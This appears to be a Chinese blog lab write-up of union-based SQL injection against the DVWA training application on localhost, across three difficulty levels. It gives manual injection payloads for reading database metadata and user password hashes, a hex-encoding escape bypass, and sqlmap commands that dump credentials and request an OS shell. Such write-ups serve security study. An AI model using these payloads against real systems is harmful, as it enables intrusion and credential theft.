DVWA学习日记-6 SQL回显注入

最新推荐文章于 2024-04-08 19:05:06 发布
最新推荐文章于 2024-04-08 19:05:06 发布
阅读量836 收藏 11
点赞数 2
分类专栏： DVWA 文章标签： DVWA sql显注 显注 SQL
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_29010757/article/details/84402143
版权

SQL回显注入
概述
命令注入漏洞和sql注入漏洞都是用把注入的数据当做代码来执行，区别在于命令注入漏洞注入的是系统命令，sql注入的是sql语句

sql语句就是操作数据库的语句，就是通过WEB操作在数据库执行任意SQL语句，所谓的sql注入漏洞是非常普遍的安全漏洞，本笔记是sql回显注入，就是会把sql注入数据库执行结果显示在页面上

准备
Firefox
DVWA
Hackbar
Firebug
Tamper Data
SQLMAP

手工实战
1.首先国际惯例正常操作
输入1
在这里插入图片描述
2.猜测一下sql语句
select firstname,surname from xxx
select firstname,sunname from xxx where userid=我们输入的id

3.探测是否存在漏洞
输入1’ 回显了报错
在这里插入图片描述
4.三种注入POC

...where user_id = $id	//没有引号 可以直接使用下面拼接语句
...where user_id = 1 or 1024=1024		//1024=1024为真

...where user_id = '$id'		//单引号 可以使用下面拼接语句
...where user_id = '1' or '1024'='1024'

...where user_id = "$id"		//双引号 可以使用下面拼接语句
...where user_id = "1" or "1024" ="1024"

5.确定注入POC
首先尝试数字型
1 or 1024=1024 执行不成功
在这里插入图片描述
尝试单引号
1’or ‘1024’='1024 执行成功
在这里插入图片描述
尝试双引号 执行失败
1" or “1024”=“1024”
在这里插入图片描述
3.我们确定了是单引号闭合的
小技巧：三种注释符
在sql注入中通常需要闭合，如果语句比较复杂，我们会使用注释符号闭合

#(忽略)	井号后面的都可以忽略掉（在url中#号区分常编码%23）
--(忽略) 与井号类似(注意短线短线空格)
/*(忽略)*/ 在sql注入中一般不是绕过的话，不会使用，多行注释，至少两处输入，/**/注入中常用来作为空格

4.确定查询字段数
首先要先给id=1’报错，否则会变成查询语句
1’ order by 1#
1’ order by 2#
1’ order by 3#
在这里插入图片描述
5.确认查询字段数
发现异常，说明字段数小于3也就是字段数为2
在这里插入图片描述
6.确定回显点
id=1’ union select 1,2#
在这里插入图片描述
7.查询数据库信息
1’ union select @@version,@@datadir#
将1,2字段分别替换成@@version和@@datadir
成功获取在这里插入图片描述
再利用user(),database()查看用户名和数据库名
在这里插入图片描述
8.首先我们知道了数据库，就要知道数据表
数据库名：dvwa
查询表名：
查询table_name 在系统库里的tables表，条件是table表_schema的架构

1’ union select 1,table_name from information_schema.tables where table_schema=‘dvwa’

这里我们知道了表名叫users
在这里插入图片描述

9.查询列名
查找列名在系统库里的字段表，条件是表名是users

id?=1’ union select column_name from information_schema.columns where table_name=’users‘#
这里我们发现了敏感信息
在这里插入图片描述
10.查询用户名和密码
1’ union select user,password from users#
在这里插入图片描述
11获取明文密码
http://www.cmd5.com/
在这里插入图片描述
12.文件读取
使用load_file函数
在这里插入图片描述
13.随便
自动化实战
sqlmap
攻击参数：-p
因为我们有登陆界面所以需要–cookies的参数

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit# -p "id" --cookie"security=low; PHPSESSID=98a308e74bad0e6b0cec16e667effa5a

在这里插入图片描述
14.当前用户和数据库名
后面添加了–current-user --current-db
获取了用户

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit# -p "id" --cookie"security=low; PHPSESSID=98a308e74bad0e6b0cec16e667effa5a --current-user --current-db

在这里插入图片描述
15.查询表名
发现有两个表，一个guestbook和users

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit# -p "id" --cookie"security=low; PHPSESSID=98a308e74bad0e6b0cec16e667effa5a -D dvwa --tables

在这里插入图片描述
16.查找列名

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit# -p "id" --cookie"security=low; PHPSESSID=98a308e74bad0e6b0cec16e667effa5a -D dvwa --tables -T users -columns

在这里插入图片描述
17.用户名密码
sqlmap自动破解md5

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit# -p "id" --cookie"security=low; PHPSESSID=98a308e74bad0e6b0cec16e667effa5a -D dvwa --tables -T users -C "user,password” --dump

在这里插入图片描述

获取webshell

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/?id=1&Submit=Submit# -p "id" --cookie"security=low; PHPSESSID=98a308e74bad0e6b0cec16e667effa5a -D dvwa --tables -T users -C "user,password” --os-shell

在这里插入图片描述
18.进入中等难度
发现不再是文本框了，点击提交尝试正常操作
发现了是个post的请求，发现参数这两个
在这里插入图片描述
19.我们这里使用到tamperdata插件来改包
在这里插入图片描述
20.修改数据包
修改为union select user,password from users#
在这里插入图片描述
结果执行失败
在这里插入图片描述
21.发现我们的单引号被转义成反斜杠
尝试其他注入POC
1" or “1024”=“1024” 失败
1’ or ‘1024’=‘1024’ 失败
1 or 1024=1024 成功
在这里插入图片描述
21.数字型注入
在这里插入图片描述
22.列表名
1 union select 1,table_name from information.tables where table_schema =‘dvwa’#
我们发现这个也会有单引号会转义的
我们可以使用hex编码进行转义
得到
在这里插入图片描述
得到0x64767761
在这里插入图片描述
23.最后重新发包
1 union select 1,table_name from information_schema.tables where table_schema =0x64767761#
在这里插入图片描述
查看源代码
转义特殊字符
在这里插入图片描述

24.中等难度sqlmap
比简单的多了–data,执行成功

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/#" --data "id=1&Submit=Submit" -p "id" --cookie "security=medium; PHPSESSID=a783de8deddc1b1bc1b00d2a4ce43d9f"

在这里插入图片描述
25.进入高难度模式
首先正常操作，发现是一个超链接，点进去
在这里插入图片描述
26.发现另一个页面输入内容，原页面会显示数据
在这里插入图片描述
27.先确定注入POC
首先使用单引号 执行成功
在这里插入图片描述
查看源代码
在这里插入图片描述

28.最后sqlmap
多使用到的参数就是–second-order

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/#" --data "id=1&Submit=Submit" -p "id" --cookie "security=medium; PHPSESSID=a783de8deddc1b1bc1b00d2a4ce43d9f" --second-url "http://localhost/DVWA-master/vulnerabilities/sqli/"

在这里插入图片描述
29.获取用户名密码

sqlmap.py -u "http://localhost/DVWA-master/vulnerabilities/sqli/#" --data "id=1&Submit=Submit" -p "id" --cookie "security=medium; PHPSESSID=a783de8deddc1b1bc1b00d2a4ce43d9f" --second-url "http://localhost/DVWA-master/vulnerabilities/sqli/" -D dvwa -T users -C 
"user,password" --dump

在这里插入图片描述

TRRRQ
关注
  • 2
    点赞
  • 踩
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
专栏目录
sql注入-回显注入实例详解
CPriLuke的博客
06-26 1609
根据前面对sql注入流程的说明https://blog.csdn.net/CPriLuke/article/details/106961748 本章主要对说明的内容通过实战的方式进一步加深，实战环境 sqlilab，hackbar 1. 寻找注入点 通过注入单引号后，网站返回sql报错，确认存在SQL注入，且得知数据库的类型为MYSQL 2. 确定当前数据库的列数 通过order by进行试探得到,如下所示，当为order by 4返回数据报错 sql注入语句说明，后台的原始数据为： select *
sql注入之回显注入
maluxiao123的博客
03-22 3989
之前已经简单介绍了sql注入的基本原理，接下来会按照sql注入的各种类型一一进行梳理，sql注入的常见主要分为回显注入、报错注入、bool盲注、延时注入、堆叠注入、二次注入、宽字节注入、http头注入、DNS LOAD注入。 回显注入需要依靠页面具有数据库查询出内容，使用注入来替换掉本身应该显示的内容来进行攻击的。比如在靶场sqli-labs的第二关中页面查询的内容是通过传入的id=2来控制的 当id=0时，数据库没有id=0的内容，所以就不返回任何数据 我们可以看他的后台查询语句 查询了users表
SQL回显注入实践
IT1995的博客
03-17 5071
注意：本次实践是网易云课堂微专业（WEB安全工程师）课后练习！！！！有如下php代码：<?php $con=mysql_connect("localhost","root","root");//数据库连接字段，phpstudy默认root/root $id=@$_GET['id'];//通过get方式传递id的参数的值 if(!$con){ die('Could n...
SQL回显注入
Libra_Ng
11-28 1206
SQL注入流程 SQL注入攻击步骤 注入流程 SQL注入分类 按前台数据回显情况分类: 回显注入: 盲注入: 回显注入攻击 注入测试环境:Apache+MySQL+PHP 单引号测试法 "恒真"测试法 "恒假"测试法 回显注入–寻找注入点 1.页面无变化 2.页面中少了部分内容 3.错误回显 4.跳转默认界面 5.直接关闭连接 回显注入–字段数 Order by命令 Union...
SQL注入--回显
qq_27339511的博客
04-10 368
回显注入练习：sqli-labs-Less-3和sqli-labs-Less-4。操作系统：@@version_compile_os。sqli-labs-Less-3闭合点为')；sqli-labs-Less-3闭合点为")；数据库名字：database()数据库版本：version()数据库用户：user()
适合DVWA和SQL-li-lab的PHPStudy、DVWA、SQL-li-labs
03-26
SQL-li-labs则是针对SQL注入攻击的练习平台，帮助学习者理解如何预防这种类型的攻击。 首先，我们来详细了解一下PHPStudy。PHPStudy提供了一个简单的界面来管理PHP版本切换、Apache和Nginx服务器的启动与停止，以及...
DVWA靶场环境---新手入坑
10-28
DVWA靶场环境---新手学习web安全的必备靶场之一，DVWA (Dam Vulnerable Web Application)是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。
DVWA-安装-漏洞测试-漏洞修复指南.docx
05-17
### DVWA-安装-漏洞测试-漏洞修复指南 #### 安装与配置 根据文档描述，为了使用DVWA（Damn Vulnerable Web Application）进行漏洞测试，首先需要安装XAMPP或WampServer作为Web服务器环境。以下是安装步骤的概述： ...
DVWA之SQL注入详解（包含知识点）
10-20
该文档是使用DVWA平台进行的SQL注入（low）级别的详细操作和知识点分析，包括什么是SQL注入，如何进行SQL注入，图文并茂，包含了几个非常不错的操作，解决了各种问题。
2020-12-06-DVWA之sql.md
01-24
本文详细介绍了在DVWA环境下如何利用SQL注入漏洞进行攻击的具体步骤。通过这些步骤，我们不仅能够了解到SQL注入的基本原理，还能够掌握如何利用这一漏洞进行数据的获取。同时，通过对中等难度级别的SQL注入的分析，...
SQL注入（回显）-DVWA
xy_sugar的博客
01-23 2641
概述 LOW等级 1、首先尝试正常操作，输入1 可是这里web应用通过查询数据库，获取了id为1的用户的信息,猜测SQL语句为： 2、接下来检测是否存在SQL注入漏洞，输入1’   报错，则说明单引号注入到SQL语句中报错，存在SQL注入漏洞 尝试数字型，查询结果与id=1时的结果一样 尝试第二种情况，成功执行 尝试双引号，也没有成功 所以可知这里...
sql注入 sql-lib第一个（回显注入）
weixin_74182283的博客
03-28 1077
SQL注入攻击的根源：程序命令和用户数据（即用户输入） 之间没有做到泾渭分明 注入成功的基础 1、相信用户输入的数据 2、Sql语句的拼接按照注入的网页功能类型分类 •（ps:注入类型纯看个人收集情况）1、登录注入 • 2、cms注入 •按照注入点值的属性分类 • 1、数值型 • 2、字符串型 •基于从服务器返回的内容 • 1、有回显 • 2、无回显 •按照注入的程度和顺序 • 1、一阶注入 • 2、二阶注入 •。
【SQL注入-可回显】报错注入：简介、相关函数、利用方法
05-29 1837
【SQL注入-可回显】
【漏洞发现-sql注入】有回显注入--sqli-labs
m0_46344990的博客
05-16 972
一、漏洞描述 数据库是对用户数据进行存储以及删除等操作 ，功能是用来组织，存储和管理数据。比如我们网站每一个用户对应的用户名基本信息，账号密码等等，都在服务器用数据库保存。用户通过对网站的操作，请求返回给服务器，服务器将对应数据拿出来渲染在html中让用户使用。比如登录操作，输入账号密码后服务器会查询响应账户的密码是否对应，这些都需要在后端语言中用到sql语句。而黑客们通过传入数据使原本的sql语句拼接了其他语句，执行了其他的操作。就sql-labs中的一些关卡的漏洞，这里先介绍有回显的注...
sql注入
qq_52108058的博客
11-03 878
经过对表中字段的查询发现，该admin表有三个字段，id、username、password。发现有一个admin用户，在通过limit 1,1查询第二用户为空，则只有一个用户。（可以理解为从数据库提取的数据被显示在前端）可以在第二个字段处显示我们想要的内容。发现的第二个字段处为。
SQL注入
extremecold
09-02 535
回显注入
DVWA SQL注入总结
iO快到碗里来
05-13 1113
DVWA SQL Injection 1．判断是否存在漏洞 输入1提交-回显用户信息 输入1‘提交-服务器报错:数据库为Mysql 2．判断POC方式 输入 1‘ or ‘1’=’1 回显所有用户信息 在这里我们可以使用union注入 查询字段数 1‘ order by 1-- ;1’ order by 10-- ;…(二分法) 最后确定为2 确定回显点 -1‘ union select 1,2 -- ; 最后确定为2 查询用户名和数据库名 -1’ union select user(),dat
DVWA环境里，普通SQL注入没错误回显原因
qq_43309162的博客
02-24 1534
DVWA环境里，普通SQL注入没错误回显的原因，即使不是盲注也没有回显，心态崩了啊。
sql注入无回显应用情况
最新发布
weixin_74182283的博客
04-08 1113
load_file为攻击的相关函数，利用concat函数将查询的version与使用的域名包含起来，其中‘\\\\’为转义字符，可以理解为转义\，输出两个\\ ，而使用\的原因也是为了模仿UNC的路径，后面那个.xxx为域名解析，而那个test则是随便输的一个文件，可以是不存在的，只是为了让查询的数据回显到dnslog上。盲注速度很慢，有时候需要一个一个字符去进行爆破，可以但不够高效，并且有时候防火墙还回去禁用ip，此时就可以考虑通过DNSLOG来快速的得到数据。站库分离（这是个作业，老师给的压缩包。
DVWA实验：SQL注入入门指南
它旨在帮助学习者理解和实践SQL注入这一关键的网络安全概念。实验分为几个步骤，首先，需要在DVWA（Damn Vulnerable Web Application）平台上进行操作，这是一款开源的安全教育工具，用于演示常见的Web应用程序漏洞...
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值